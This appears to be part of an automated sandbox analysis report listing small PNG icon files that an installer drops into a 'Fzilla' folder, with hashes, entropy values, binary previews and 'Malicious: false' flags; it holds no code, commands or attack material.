Preview:	.PNG........IHDR................a....IDATx....V.P.@.ylpwww......K..^....s.I.0. \.<os......x..+."..4D.3h...j.j......F...f..\|../(H>.,....404L.?.Y....i...*.u...t.].X\.@ia...0..M..-..$I........i.d.?...P..5..E.. ..-..~.(...{G.....`...K..0..../o),..w.?....i.`.6.....C...}..0.!...<..8P>>...;.e...$.e.}...>.kF......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-INANV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	444
Entropy (8bit):	7.3534210919464265
Encrypted:	false
SSDEEP:	12:6v/7xmloF0FuxyN98TIN6jffhEnBNbljng6gDtv+x9af7MT2BxH:EmloF0Flb8T46YhBgDR+x9aDR3H
MD5:	5F9EE179D1CA0BBF31A283CB8A16149F
SHA1:	00883B5F76B210C2FE82D3EA307E40177E2EF4B9
SHA-256:	FE2F28AEB056A89662D53CE22F2D3C5CBCDA67CAD8892A8C3CBEE972CEA81A8A
SHA-512:	C2517D085CDCA4DF582857C60F8220970BC0D19ED26B6AACA9FD0A9AF5D2BECC970B709C2DEDC3FCA17D0C24B9BC0E8524ED08215385C35DE56F7526B5742A3F
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....r%A.F.;..`Q..:.m.m.m.e...:.3Ug......_.^W_..Q.Te(.s.;h.}}}.....eUE.".G.......}..........iiiO.......&...>Y..U......?.1.L@..E..6.6.......C^.2\|.'...e.yEYV.j../....\|~.g....n..ROB.......]a....>....!c.V)C0N.^l."gn....]=...>....O..<.,....?j..Z.B3...DH....+.=}=.k.'....dqq....~.=./.4_...x....5.X...zT.............%ttt.g555..>>.M-m(...o.T.5#b.Nb.8.X....111pss.^pB..sD.)Y.E%?*]....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-J1458.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	305
Entropy (8bit):	6.806975520920884
Encrypted:	false
SSDEEP:	6:6v/lhPfMuWA4eIEtZIDTekzMSnG/S1c+NvvKMBr/Rh3xPGWtsup:6v/7meIkorAoA+NviA31Gk
MD5:	C9F6766B443BE33B1E3FA0333814A1A3
SHA1:	A4CDBF0D1236F3DFA619BB1A0E1EE09879C63202
SHA-256:	7D34B722C67738A9096FD29705277AC510C8D0BDE24A94DC784FEB0686AA88AD
SHA-512:	5E86EA210DB9AC04AF50F7950C7689E0A373AC64870A4C5367778F458ABCB7A67756B87E891D957067B8C0D8A1EAE9908A4435097CF8D4B6569525C8E1D81684
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...fPLTE...............6HxDq.Ib.r..r...........Bc.............<]....u..\|..Dr.Si.S}.]r.]..r..F^.r..Fq..........,......tRNS.}....n....vIDATx.M....@.@Qb;H...%.D..7hXoD'.L.d.!Y...j.=..............{o...T........1..._(.n....b89.j1#..Q. d..k:z.jf.#IF. ..$...%..e._.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-J9BSS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.669816282841975
Encrypted:	false
SSDEEP:	12:6v/7nl+7qNchjg0NQNjS9/CU5EyBWUWoOD6f5NvZ/OCz8E47xG9cdWkdgtIhJK8X:PjgRtU+yBAozf5Vsm8yci6hJKcY6
MD5:	3115823FE4FCB61CA3D2F0AF13E3060C
SHA1:	1BC4B1CDE929475C90EFE6DE17F5BA95DE06232D
SHA-256:	C0650E5B87B31EA35529E4A69FE379807043A540D1E965E30B90035B73ABCD4E
SHA-512:	D34C5CE3E1F97E2887F50FCFE96BDD70322073116DCB40876FFE6C1F8C6508FF22D276501318BE7B56BE44D651F166A8984D1FEE0EF625FF30CDA28465007947
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.mS.s%A...?r.m.m+.m.m...W.n........y..9c.E..dh..I.ordN....6p)...o...\S...z....A..n..y..?2...n68....g...%x...C..A.~q.....cyoJ.A1..d_(....yx .s...V....]}...)..o.x....A>.(..).b9...1.v...e<A......aQ..a..T.......>..(.r.sg=%.4.Lg...L.....,.@..T......S....U...,.b)AfJA#.......-wM...%.....k.....q.'...k:..Z..n&%.......9.\..?..Wv......8X...cn...B >.Fc..g.%..4.....x.....T....\...D..r.....f..X$..K...L..Q+...@Y..;G......Uu.V.^iG.~,>...>....]X}U/s.L`B9v=....v8...7e\|a........'.x\|7O./.T.Vw.%..!.hN.QDS.A;..~.;^j.aJ..%.'...g.1....bl.g.q..d^...z...i...$.o..1%..'......J.I'L...R~.. .%...m..g6~..C.6...(.#EE...0R...>W.6..;."..\|6..oT ..h,..Wl9....~a3-....f.3yt....I..h;..B+.... .....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-M2NTK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	529
Entropy (8bit):	7.46981725870873
Encrypted:	false
SSDEEP:	12:6v/7KzqnmFxjW++eEo7ZXKUEf+ZHEufKY2rJ6LIpSlO1P:rqnmFR+eLaUlr2roLFEP
MD5:	D5CE09461036A025BF5A2917231A8E6F
SHA1:	F55ADECBAAA912DE6EFFCB5B80470D0208837049
SHA-256:	AA624FF13074B4FD2E21A4A4950AFDBE18D64522D91CF51FBE2789A384FD48B3
SHA-512:	750B40E554C3B36B4BB51A8885BCDD49C8DA10FF3F96A921CCD80C166245BFE1B86EC0685B4F4BCFE4C5D05CD1C3AA4A17580E3132DF224A5CE88C8C39BDC8EC
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c@.,...y ..bfR41!s..].JHHX...$[/&*................cQQQ..] "............o.{...`.......63A.D.....!..........k...{IZVj.......=#.../0...B....AHX.!,4.....;<44DCK."..{.... Z.!.x..-....W.............<...._?.......Q.\|....N...)...XY ....+../..>..?..8..r...e....-/....`^T/.!.........0..H0...3,X0.oK[....~...H&KJ..ihl\|....V....N.......}......./.SY].}...ek....a......../.....q...Z...O..i..Z@9n.....+..U.:.Z..5T=8p`...W..N..^........_.z)...+FRR2(....8..S...0.......[...]....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-NNPDN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	663
Entropy (8bit):	7.6508418986379
Encrypted:	false
SSDEEP:	12:6v/7p/dJMw9EhUe4xv1Zq9xZfWG2uRdeIxkK7xznsuPplIbdyxb:6siEESfWG2u7bkK1znsuPTIbd6
MD5:	6F5D067D592A12089F3107821FE03853
SHA1:	53CE9A23A1FBB81DEAAE87E1BE1EA91716037CEC
SHA-256:	5A7604D79F362110357686B48598A1ECE1D2DB887F79462CDB639F6C85710618
SHA-512:	9DC953EAFB2FBBBF33052D46E67807BCBE41E2E8D15B9A8DFACDBE0DC638B8ACEFC8219EEB39AE572D5D8E19F281C5EE9AEF173BFCBE53BA8967D3F442B3B528
Malicious:	false
Preview:	.PNG........IHDR................a...^IDATx.u..p\Q..o8.m...j..e.x.Q..j...".m..o.......}...q"1QW.....).OLw=.h./_vq...+.HE.:.....-.Pa!..R..It5.W..<@...\|...#..8..... ..%.BC...knn...H...7el,zw..U[..aBabF.7.{x.aUr2./X.....b...K..Y....)H.y3.XY..K.L[..".TII?.vA.RA.....\....h..EWW..N..'.\|#I...X&..ph\|.AA..<.....WW....h>......:.(]..A.A.%......U.....H......s....K.....0@.W.]....hKO.....s.;.M3p.sh.}...ard..........[##...!.o........].8.....H2==..}. a....9,lf.......i.66.k--\|[......)..o+V.g.........J..`%....mg..........0EF.P.zz.....[..2..ub4...hG^...........2kk..!.....hgN..23.....D.....Mle5A...f..$.;4...t7......W#.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-OLD9M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	191
Entropy (8bit):	6.3623597179068705
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lC/LaxcGlkYU77JdjYRxWlsU6Fz/HpldRLtRgXLoAQ94JIfm+:6v/lhPMLaqLl7vgWWJPp5gbE4Gfm0AIV
MD5:	B5544B3F18AA63B9041FF92A9D404CE9
SHA1:	CD61335DE5681A682E199093D8248D833CDFE94E
SHA-256:	ECC62EBFA9D52821E70B1D06D8F0A6FB5854CCE9838397D3F67957ACC80226BD
SHA-512:	B1CDBA2CDD622C116ADE4160D7A32D29AD2A02F35E5991BCAF5A738A7E13C79D058425DC7A129114391DC548F15A8E0C778441E7F9EB73FF2EED6FFA31F288A3
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.9s.....$.0..m.a.0.......~....D4.. ..,.{y<\|}tT.@.3PJI._.."..8..^....s. `...2.2...@.7..eu.%.......a@...)..gd.S.n!57...`.....@.Yh.. ....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-QMEBA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	579
Entropy (8bit):	7.584084173180431
Encrypted:	false
SSDEEP:	12:6v/7OCcydvfCvueuO/ABOrt1tyQd9Icg5yx1II0ftz83lH7:Kl6vRrh1tyQAcg537fob
MD5:	911E241C6F54A2E4D9C59B218430948E
SHA1:	D7470853C14E1E661884D98C51DB0C8D73A47C21
SHA-256:	60E035211FBA639384604778F4855330360DC715127C73624EECFE06B16DCFDB
SHA-512:	4BEE425F4DB466B29E48E9DDB8B58EBEA39F004C418590B358376186C4B89A064C8936D25FB823175DE5AB29C26D79A24FE22C75A243253892C8AD9C46C2205C
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..S..]Q....X.v......:.m.q.8..Xm\..g].t.......f....k..\-..i.v-.uQD.W.].J..e......B.o....:... .._y.Z!.H......_.....>/.).........ST.c.k..]0{.l?9......y..g.o.6....&......)L........-J...W.....1;b5..I./.+.9.h...!jH.....n......a...*..~..%..^.#'w.O.;..]...~...`....8...Z~\.v.3&.D8...OnE4...&....C.!K9.T_=}....rs.......g\N.#.../...U.?s).................RMd.{...'....w..D...F.A9`..]..D..8...^n...R...$..$"Y..R......L.U.V.......a}X..z......O.'.={.L&...QX..(..,...6.9..........!..F..qt.OZ8..m&.;.M.........^.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-R2QHP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	378
Entropy (8bit):	7.184289233581997
Encrypted:	false
SSDEEP:	6:6v/lhPW/iUQBn1XHcepRfpX7FpxHRFEDEC1HTt29pkxQ5fv6lSwC+s6mX0kJ3+WV:6v/7QiUKFHcepZl5HRqg2Hu6bE50kJh1
MD5:	2D8AFC5BAC213191EBA76678A1846817
SHA1:	8B049D7213AAF2D6BCFEB33AC03F9BBA703D14F1
SHA-256:	0A4D965E5173855649A30B45C6C26D2A8BA0A6FA2FC7B07F5FBCE42716C0AB70
SHA-512:	6D3C490C1276BE44655CA161C33376AF3462490C7F8FD827FC7B8738A56A1EE6D7A3023AEDD60509D4C02C91E04CF8F23D2F19C7CE0B4AE20BB901AC3B92151D
Malicious:	false
Preview:	.PNG........IHDR................a...AIDATx....r.Q.D.N.K..b.Q.m.m.s..N.....m...t4B.\....."`fnb#\|.(<??....c..2....O....H.H...p.^....P^^.%.......I...Oj`..I.....I.j@.0.y....oAY.yj@7..'.m.\|.[X>..S.^`bfD...\|xgg.x.p.....s....\|.K.n@....Q..(.>\|.@..u. .q..-x...9o..]....z. .g....p.[...e..V$.}.YPUS....8...!{.."w..9Xg..J<[e..2}..i.....[:T....e.A2.....I.?.-~mh..]......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-RK3NC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	569
Entropy (8bit):	7.531406605083966
Encrypted:	false
SSDEEP:	12:6v/7Qk0TEXCX16InFRYmY+FPRc/Etnhm0zAyTBF+j16oox0wnFXaWj:xJTEXCX1bjnY6PROEdhmaE61Fx
MD5:	6688AD83CD2C07A040070A4204CC405B
SHA1:	E6C001A9EDE75FCBAC0D543AD9473A386217BD6A
SHA-256:	C8A393B8CD7886F30F1036B76E2CA4DA3564C7E3DD90FAD051543439AB0644B4
SHA-512:	4E026F0B67725BF742613E379B364B686A80323DBAD6C3C250912C29DC28E2088EF889743769E159104E03F738352F6BEA699BBB2FF66F89CC850C51A9C038D6
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...C`.@...X..vO.q.m.V......m.m...<.z...0.ly.qt....`.Co..`...^M...@.\.D9..\|_].g....#....r9TLo_]h.%b.F. .U.v...;M!.V..x..RG...;..W.y..tx`.(o.v.L._.1...a..DD.=.l.R`...s.e..;...^q..@4...S.-...9I.Z.b...N.0t.E....jQO........;..@....qE.S.:.#.B..)T..A5.9.".A-......z...n...x......{..Z._..].C....x]...A.:m.....l.....b.....)N..@......\...>dl..*.Ni..../....,..yqB..G.... ..C.$^.)._-ou..\.....rC3... .4.YP.o...n..-.8KDt.5..\|...3...d..P/4...`.F.M.q....S.~.e....p...\|..:.vA...K../.t&W.5.c........k....-...L......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	378
Entropy (8bit):	7.184289233581997
Encrypted:	false
SSDEEP:	6:6v/lhPW/iUQBn1XHcepRfpX7FpxHRFEDEC1HTt29pkxQ5fv6lSwC+s6mX0kJ3+WV:6v/7QiUKFHcepZl5HRqg2Hu6bE50kJh1
MD5:	2D8AFC5BAC213191EBA76678A1846817
SHA1:	8B049D7213AAF2D6BCFEB33AC03F9BBA703D14F1
SHA-256:	0A4D965E5173855649A30B45C6C26D2A8BA0A6FA2FC7B07F5FBCE42716C0AB70
SHA-512:	6D3C490C1276BE44655CA161C33376AF3462490C7F8FD827FC7B8738A56A1EE6D7A3023AEDD60509D4C02C91E04CF8F23D2F19C7CE0B4AE20BB901AC3B92151D
Malicious:	false
Preview:	.PNG........IHDR................a...AIDATx....r.Q.D.N.K..b.Q.m.m.s..N.....m...t4B.\....."`fnb#\|.(<??....c..2....O....H.H...p.^....P^^.%.......I...Oj`..I.....I.j@.0.y....oAY.yj@7..'.m.\|.[X>..S.^`bfD...\|xgg.x.p.....s....\|.K.n@....Q..(.>\|.@..u. .q..-x...9o..]....z. .g....p.[...e..V$.}.YPUS....8...!{.."w..9Xg..J<[e..2}..i.....[:T....e.A2.....I.?.-~mh..]......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.08301148035934
Encrypted:	false
SSDEEP:	6:6v/lhPWe2Tb3tsgWtI1tnkCPZLST3g6vPrT7D03sFC3EBMXjp:6v/7Nib30IpPZyQIPrT7DOsFXWN
MD5:	D50FCCAE30BCC58EEDE752301EB81C2A
SHA1:	4ADEC1131F2962A71574F14B6170769001759D5E
SHA-256:	2DEA6DB15AB2B9813F9547F44C0B94CEB33A408E74974DCE347DFE99821D300C
SHA-512:	433E8B23163A4727F1E4CBF462EEC14871EEBD81863BC11EB46C497809526533C424F5501460E78E963F7B6C9866ECFA3ABB0F232663FC889401911B003413B3
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b..jM......B...\......O.<!..........x......G.1X...6......2r.6.v.66v...r...........\|v...>.....%u.N.0.p9..R.>.?..H..O.[....`.....M.7hv..V..:.M.W7\a4..d2...{...\...y~x.f..-bv........~.EQ..!...:.......D.._....~......=.......;o.4T...$g.@...j..l8...x...,.4M#..;.K...n...i.2=......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	519
Entropy (8bit):	7.488980698354808
Encrypted:	false
SSDEEP:	12:6v/7Uh19kgwYKB8hO8gngP9DzWuRYIfyPLrw1qF+P:p9kUx8g1DRYKWrw8FW
MD5:	C5A7A7A7AB1ABCF5DBC2B9F6B13BF44A
SHA1:	A1D6A25962DFC5CD15851780FB9BC552C4E905AC
SHA-256:	207C59A844A6AA2101BAA4DCA5A867BF7F74A53A65912FB54649F98F5589A012
SHA-512:	D2737250D8FE27461A49E077D98D451A46FA015F5C105ECEDEFD53A954987431FE55A83D5C9C74A2705542626437A5E36BFB7B5BC3A2B5170B9EFC7FF641092D
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx......A.....!.]C..!.m.a.5+...m.S....[..9._.c......a..).x7x..u.:.w..(.\|.#....\q..{N.'........p]a....).$S.......]^..D.......&{..Y.A.2.IBj\..U.!C;....Z)sX(..A... .....Bb+I.2..2..F..t.y..-.R.1@....p..k.;...#...-...uPJ.=[..)~.A...V..N..f?.....Lhz......u:T..!...0....w.H.z...?N.@."9.Y,..[.`@.QI..\|e...-.0.[.8.k<?Ho.b..;q...R. 4......gJ..\|Y.\*........}&"+......X..)@l....(...1+..c./W..#...~0..).^./..f..1q..x.._?..}.1..C\|..{...~2.......\|......[./K$Xw.X....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	529
Entropy (8bit):	7.46981725870873
Encrypted:	false
SSDEEP:	12:6v/7KzqnmFxjW++eEo7ZXKUEf+ZHEufKY2rJ6LIpSlO1P:rqnmFR+eLaUlr2roLFEP
MD5:	D5CE09461036A025BF5A2917231A8E6F
SHA1:	F55ADECBAAA912DE6EFFCB5B80470D0208837049
SHA-256:	AA624FF13074B4FD2E21A4A4950AFDBE18D64522D91CF51FBE2789A384FD48B3
SHA-512:	750B40E554C3B36B4BB51A8885BCDD49C8DA10FF3F96A921CCD80C166245BFE1B86EC0685B4F4BCFE4C5D05CD1C3AA4A17580E3132DF224A5CE88C8C39BDC8EC
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c@.,...y ..bfR41!s..].JHHX...$[/&*................cQQQ..] "............o.{...`.......63A.D.....!..........k...{IZVj.......=#.../0...B....AHX.!,4.....;<44DCK."..{.... Z.!.x..-....W.............<...._?.......Q.\|....N...)...XY ....+../..>..?..8..r...e....-/....`^T/.!.........0..H0...3,X0.oK[....~...H&KJ..ihl\|....V....N.......}......./.SY].}...ek....a......../.....q...Z...O..i..Z@9n.....+..U.:.Z..5T=8p`...W..N..^........_.z)...+FRR2(....8..S...0.......[...]....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	579
Entropy (8bit):	7.584084173180431
Encrypted:	false
SSDEEP:	12:6v/7OCcydvfCvueuO/ABOrt1tyQd9Icg5yx1II0ftz83lH7:Kl6vRrh1tyQAcg537fob
MD5:	911E241C6F54A2E4D9C59B218430948E
SHA1:	D7470853C14E1E661884D98C51DB0C8D73A47C21
SHA-256:	60E035211FBA639384604778F4855330360DC715127C73624EECFE06B16DCFDB
SHA-512:	4BEE425F4DB466B29E48E9DDB8B58EBEA39F004C418590B358376186C4B89A064C8936D25FB823175DE5AB29C26D79A24FE22C75A243253892C8AD9C46C2205C
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..S..]Q....X.v......:.m.q.8..Xm\..g].t.......f....k..\-..i.v-.uQD.W.].J..e......B.o....:... .._y.Z!.H......_.....>/.).........ST.c.k..]0{.l?9......y..g.o.6....&......)L........-J...W.....1;b5..I./.+.9.h...!jH.....n......a...*..~..%..^.#'w.O.;..]...~...`....8...Z~\.v.3&.D8...OnE4...&....C.!K9.T_=}....rs.......g\N.#.../...U.?s).................RMd.{...'....w..D...F.A9`..]..D..8...^n...R...$..$"Y..R......L.U.V.......a}X..z......O.'.={.L&...QX..(..,...6.9..........!..F..qt.OZ8..m&.;.M.........^.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	258
Entropy (8bit):	6.670897253248914
Encrypted:	false
SSDEEP:	6:6v/lhP9+37be/o81Ur4psmFaO7SC+EAWNfwM+o86HG+/h0bp:6v/7/g81Uy7Sk69eGeU
MD5:	4A2684BB12EA28587CEA33C2B60004D3
SHA1:	4B834303D8530BEC7C07C8938B9CD928164385C4
SHA-256:	3DBAB7B4BCB5B6339A6A515EDB3519775BAC0D2A0E7BA6A274CF128641294589
SHA-512:	A521C4B92ED4F5BCCA621FB66B546E2339BFF5523092A3AECEDC81182040BD99F1D8804964DCB7C35F9150C5618C80E8F02C6B26C702D845931FDA346DA40583
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c...Z......x:>...8q.....k....g.X.M..N.+.1X.....x...XC.3@\|.J.....@j..kMk...C..k..w+.b..~u)... .@r`qb....7.X.bs........+.\.b.K.6.~}..5.~..-Qa.7.....n..?.b....0..4_.7.}....7.~.......@..5..+KZ........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.656878133234371
Encrypted:	false
SSDEEP:	12:6v/7rZ874GsyvRkvvUwR1fDGmh0TMWpMmrvP7k1hsawImiQbWmg1:S22vLRZGa0wRmrnQj4IubWx
MD5:	F2FB93109620A752ABA1BEA43B80BBEC
SHA1:	CCC1C45FDF9E2ECBAAFE8B6155524396E6D1F703
SHA-256:	1119BF65771FB8649DBF3A2DFCA641D53F044D0BCF0B531CE77D64D709042A4C
SHA-512:	F0CA07251BFE4149E296D90836E32A305913ADD7549074127707272385F9026540215EDA416DE5ECBB56D257BDE67F5E4FB95916B6351BE2A68656458DAFBD6D
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.m.C..a..c..8.m[..m{..m......K...oPx.....\|......3...S...3.......&.I.%.Kg.r....z\|..K/...X..d..;..X....u.....=..(~..U.?C..<5..o.i..#..B..3....+(>..<c.i..K..y-:e...y=8...E.....G..m($8..+..s....&.USjA.....CA.(....A.;'..k..4..F"....s`0X2]..~.3..ZJ9...T.9.'...v~.....o.....M...]Q`b1.$.Rn...........K........k_.o. ..:.{a.%/De......6.{.M.....t..K..EK.....A2.jP.%P.g0..j.a.\......)..}uLTM..g..iG....9.)\|..H7..qS.E~....\B.N....u.Q^...g.n8.hFh.9.y........Zs...C.4U#`0.PT....b.4=.\7....c.w6qlVq..`....y.........T...c..F..........4n.e.:..\.N)#..B........4.n.".E,. ..&4\"!.....i...[n....G...$..J..b......b.l.!...o....Mh..{(F....f..L`..p...AZ.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	444
Entropy (8bit):	7.3534210919464265
Encrypted:	false
SSDEEP:	12:6v/7xmloF0FuxyN98TIN6jffhEnBNbljng6gDtv+x9af7MT2BxH:EmloF0Flb8T46YhBgDR+x9aDR3H
MD5:	5F9EE179D1CA0BBF31A283CB8A16149F
SHA1:	00883B5F76B210C2FE82D3EA307E40177E2EF4B9
SHA-256:	FE2F28AEB056A89662D53CE22F2D3C5CBCDA67CAD8892A8C3CBEE972CEA81A8A
SHA-512:	C2517D085CDCA4DF582857C60F8220970BC0D19ED26B6AACA9FD0A9AF5D2BECC970B709C2DEDC3FCA17D0C24B9BC0E8524ED08215385C35DE56F7526B5742A3F
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....r%A.F.;..`Q..:.m.m.m.e...:.3Ug......_.^W_..Q.Te(.s.;h.}}}.....eUE.".G.......}..........iiiO.......&...>Y..U......?.1.L@..E..6.6.......C^.2\|.'...e.yEYV.j../....\|~.g....n..ROB.......]a....>....!c.V)C0N.^l."gn....]=...>....O..<.,....?j..Z.B3...DH....+.=}=.k.'....dqq....~.=./.4_...x....5.X...zT.............%ttt.g555..>>.M-m(...o.T.5#b.Nb.8.X....111pss.^pB..sD.)Y.E%?*]....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	7.038765793962431
Encrypted:	false
SSDEEP:	6:6v/lhPO6VsyWFTPRrfm2X0vDJtFQgm+NUDjMGRwREWn33sHdYLqXD5QchcX9p:6v/7PVsPT9ODJtiEU/iCW33s9rQV
MD5:	742C368BC4C19830ED2E088A253015EF
SHA1:	001D2365E26A1D6120BE78D76A34E564F15C7011
SHA-256:	DBE5A7B1DC74E1BDD3075433E8E2DBEE47AD2B765944735F9B0FAA3361371472
SHA-512:	8C3D87B8A3E7EDB83944148EE85BC5A25C41CF6AC3C56A8B32D54BC0338365A6BCF1482C580C3FF24E3744DE9687174337ACFE2549D7C0B6F5C8D0E2078E936E
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx.m..n.@...I.....W...EX...mG5.m...[.[..`"..K......_..x.kHR..[>.qB....X..l...`..$......0..7....+.y.b..;.. cbT..A.6jc;\pN8.#..y.."w...F.9`.)&..?.....!.q.....M.~.=...1.Mr.@V*.r.AV,..e\..`..N4.N..q..f\|8.M<.V."/..J.J,.....j.d........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	305
Entropy (8bit):	6.806975520920884
Encrypted:	false
SSDEEP:	6:6v/lhPfMuWA4eIEtZIDTekzMSnG/S1c+NvvKMBr/Rh3xPGWtsup:6v/7meIkorAoA+NviA31Gk
MD5:	C9F6766B443BE33B1E3FA0333814A1A3
SHA1:	A4CDBF0D1236F3DFA619BB1A0E1EE09879C63202
SHA-256:	7D34B722C67738A9096FD29705277AC510C8D0BDE24A94DC784FEB0686AA88AD
SHA-512:	5E86EA210DB9AC04AF50F7950C7689E0A373AC64870A4C5367778F458ABCB7A67756B87E891D957067B8C0D8A1EAE9908A4435097CF8D4B6569525C8E1D81684
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...fPLTE...............6HxDq.Ib.r..r...........Bc.............<]....u..\|..Dr.Si.S}.]r.]..r..F^.r..Fq..........,......tRNS.}....n....vIDATx.M....@.@Qb;H...%.D..7hXoD'.L.d.!Y...j.=..............{o...T........1..._(.n....b89.j1#..Q. d..k:z.jf.#IF. ..$...%..e._.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	775
Entropy (8bit):	7.631703149758525
Encrypted:	false
SSDEEP:	12:6v/75QpBihcjy7+QFox0ebRVfEdxNmzIhTMOSxObgN/uAbvKXn9zIjFIl8Fi:RpBihcm7dFoTzfCsshcObgtuAbeno0V
MD5:	D98C98B92109B06FE5758865B8BD174D
SHA1:	7BF8CF25E3843B703DFD5B13D71EDCDB7ABD1EF2
SHA-256:	4B9A0DFA310370DD63B9446F0DF9C7B8232BBCAB994A773C1CFC64938ECB4582
